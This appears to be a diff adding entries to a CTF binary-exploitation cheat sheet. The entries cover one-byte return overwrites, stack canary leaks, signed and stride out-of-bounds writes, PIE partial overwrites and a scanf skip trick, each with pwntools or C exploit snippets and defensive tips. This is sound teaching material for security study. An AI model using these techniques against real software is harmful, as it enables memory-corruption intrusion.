+ **Key insight:** Any variable-length comparator (`strncmp`, `memcmp`, `bcmp`) returns equality for zero-length input. Validate the length separately: reject `n <= 0`, or use `CRYPTO_memcmp`/`hmac_equal` and compare full fixed-size buffers. The same bug appears when the length comes from a client-supplied HMAC size or TLV header.
494
+
495
+ **References:** UCSB iCTF 2018 — writeup 10009
496
+
497
+ ---
498
+
499
+ ## Return Address LSB Overwrite + read() Chaining (TUCTF 2018)
500
+
501
+ **Pattern:** `read(0, buf, 0x80)` overflows into the saved return address by exactly one byte (off-by-one in the read size). Overwriting only the LSB keeps the high bytes intact, so you land a few bytes earlier in the same function. Pick a byte that points inside the function prologue before another `read()` call — it fires again with attacker-controlled args.
502
+
503
+ ```python
504
+ # Offset 29 in the buffer = saved RIP LSB
505
+ payload = b'\x15' * 29 # 0x56555d22 -> 0x56555d15 (inside read() prologue)
506
+ p.sendline(payload)
507
+
508
+ # Second read call now reads into &password with length 0x2b
509
+ p.send(p32(0) + p32(password_addr) + p32(0x2b))
510
+ ```
511
+
512
+ **Key insight:** A one-byte ret overwrite reused as a "call this function again" primitive is often stronger than a full ROP, because you bypass ASLR entirely — you jump to an instruction already at a known relative offset.
513
+
514
+ **References:** TUCTF 2018 — Lisa, writeup 12339
515
+
516
+ ---
517
+
518
+ ## Canary Trailing-Byte Leak via Padding One Byte Past Null (hxp 2018)
519
+
520
+ **Pattern:** glibc stack canaries always start with `0x00` so that `strcpy`/`printf("%s")` stops immediately. Send exactly `buf_size + 1` bytes; the `puts()` echo passes the canary's leading null and prints the remaining three bytes, giving you 3/4 of the canary.
521
+
522
+ ```python
523
+ p.send(b'A' * (buf_size + 1))
524
+ leaked = p.recvline().rstrip(b'\n')
525
+ canary = b'\x00' + leaked[buf_size:] # reconstruct full 4-byte canary
526
+ ```
527
+
528
+ **Key insight:** The canary byte that makes it "safe" against string operations is also the byte that enables the leak — replace it with a non-null byte, and the echo spills everything up to the next null.
529
+
530
+ **References:** hxp CTF 2018 — poor_canary, writeup 12568
531
+
532
+ ---
533
+
534
+ ## Index-Only Bounds Check + Stride OOB Write (P.W.N. CTF 2018)
535
+
536
+ **Pattern:** Vulnerable function reads an index `v2`, checks `v2 <= 0xfc`, and writes `0xC` bytes at `array[12 * v2]`. The check covers the *index*, not the *computed byte offset*. Pick `v2` so `12 * v2` lands well past the buffer (saved RIP, canary, GOT).
537
+
538
+ ```c
539
+ if (v2 <= 0xFC) read(0, &array[12*v2], 0xC); // bug: stride unchecked
540
+ ```
541
+
542
+ Set `v2 = 0xFB` to write 12 bytes at offset `12 * 0xFB = 0xBC4` past the array base.
543
+
544
+ **Key insight:** Every "bounded index" check must multiply by the element stride before comparing. Look for any `array[N*idx]` or struct-indexed writes where the check is only on `idx`; the effective bound is `max_offset / stride`.
545
+
546
+ **References:** P.W.N. CTF 2018 — Exploitation Class / Kindergarten PWN, writeup 12041
547
+
548
+ ---
549
+
550
+ ## Signed Index Negative OOB to Preceding GOT (P.W.N. CTF 2018)
551
+
552
+ **Pattern:** `if (v5 <= 31) array[v5] = value;` compiles to a *signed* comparison. Passing `-1`, `-2`, ... passes the check and writes backward into preceding memory — typically the GOT or adjacent global structures.
553
+
554
+ ```c
555
+ int v5 = atoi(input); // signed
556
+ if (v5 <= 31) table[v5] = new_value; // writes to table[-N]
557
+ ```
558
+
559
+ Use negative indices to first leak libc (`read` GOT) and then overwrite a free GOT entry with `system`.
560
+
561
+ **Key insight:** Signed vs unsigned mismatches are everywhere. Always check the declared type; a `<= N` guard with a signed index is actually `[INT_MIN..N]`. Compile with `-Wsign-conversion` to catch this statically.
562
+
563
+ **References:** P.W.N. CTF 2018 — Kindergarten PWN, writeup 12041
564
+
565
+ ---
566
+
567
+ ## PIE Same-Page Function Pivot via Single-Byte Overwrite (P.W.N. CTF 2018)
568
+
569
+ **Pattern:** Binary is PIE but two functions live in the same 4 KiB page: `fread_callback` at `base + 0x11BC` and `shell()` at `base + 0x11A9`. Page-relative offsets are fixed by the linker, so overwriting only the *low byte* of the stored function pointer on the stack rewrites `0xBC` → `0xA9` without needing any leak.
570
+
571
+ ```python
572
+ p.send(b'A' * overflow_to_fp + b'\xa9')
573
+ ```
574
+
575
+ **Key insight:** PIE randomises only page-aligned bits. Any two code addresses that share a page differ exclusively in the low 12 bits, so a single-byte overwrite is an ASLR-free partial overwrite whenever you can land the victim function in the same page during compilation.
576
+
577
+ **References:** P.W.N. CTF 2018 — Important Service, writeup 12041
578
+
579
+ ---
580
+
581
+ ## scanf Format-Error Skip for Canary Preservation (nullcon HackIM 2019)
582
+
583
+ **Pattern (babypwn):** `coin_count` is compared as signed (`(char)count > 20` rejects only positive overflow) but iterated as unsigned (`for (uint8_t i = 0; i < count; ++i)`). Sending `128` passes the check yet loops 128 times, walking past a 20-slot int array, the stack canary, saved RBP, and saved RIP. The standard "leak the canary with the same bug" trick fails because the vulnerable `printf` fires only **after** the overflow loop. Instead, feed scanf an invalid-but-format-conforming token on the two canary iterations so scanf returns error **without consuming input and without writing** — the canary stays intact while subsequent iterations continue writing past it.
584
+
585
+ ```python
586
+ from pwn import *
587
+
588
+ target.sendline('y')
589
+ target.sendline('2019') # name
590
+ target.sendline('128') # unsigned char > 20 passes signed check
591
+
592
+ # Leak libc via GOT addresses in the first 8 coin slots (%8$s in the format string)
593
+ target.sendline(str(0x600FA8)) # free@GOT lower 32 bits
594
+ target.sendline(str(0)) # free@GOT upper 32 bits
595
+ # ... repeat for puts / setbuf / printf ...
596
+
597
+ for i in range(14): # pad to reach canary slot (22 writes in)
598
+ target.sendline('1')
599
+ target.sendline('2')
600
+
601
+ target.sendline('-') # "-" matches "%d" prefix but can't be a number
602
+ target.sendline('-') # scanf returns error, leaves canary untouched
603
+ target.sendline('0') # saved libc_csu_init slot - scratch
604
+ target.sendline('0')
605
+ target.sendline(str(0x400806)) # return address -> main() for stage 2
606
+ target.sendline(str(0))
607
+ ```
608
+
609
+ **Key insight:** `scanf("%d", ...)` treats a lone `-` as a format mismatch — it returns early without writing to the destination and, crucially, without consuming the `-` byte; the next scanf call will then fail identically. Using this skip primitive you can surgically choose which iterations of a "fixed-count" write loop actually land on the stack, letting you hop over canary/RBP slots to reach the return address. Combine with a signed/unsigned char comparison bug to get a loop count larger than the declared max.
610
+
611
+ **References:** nullcon HackIM 2019 — babypwn, writeup 13211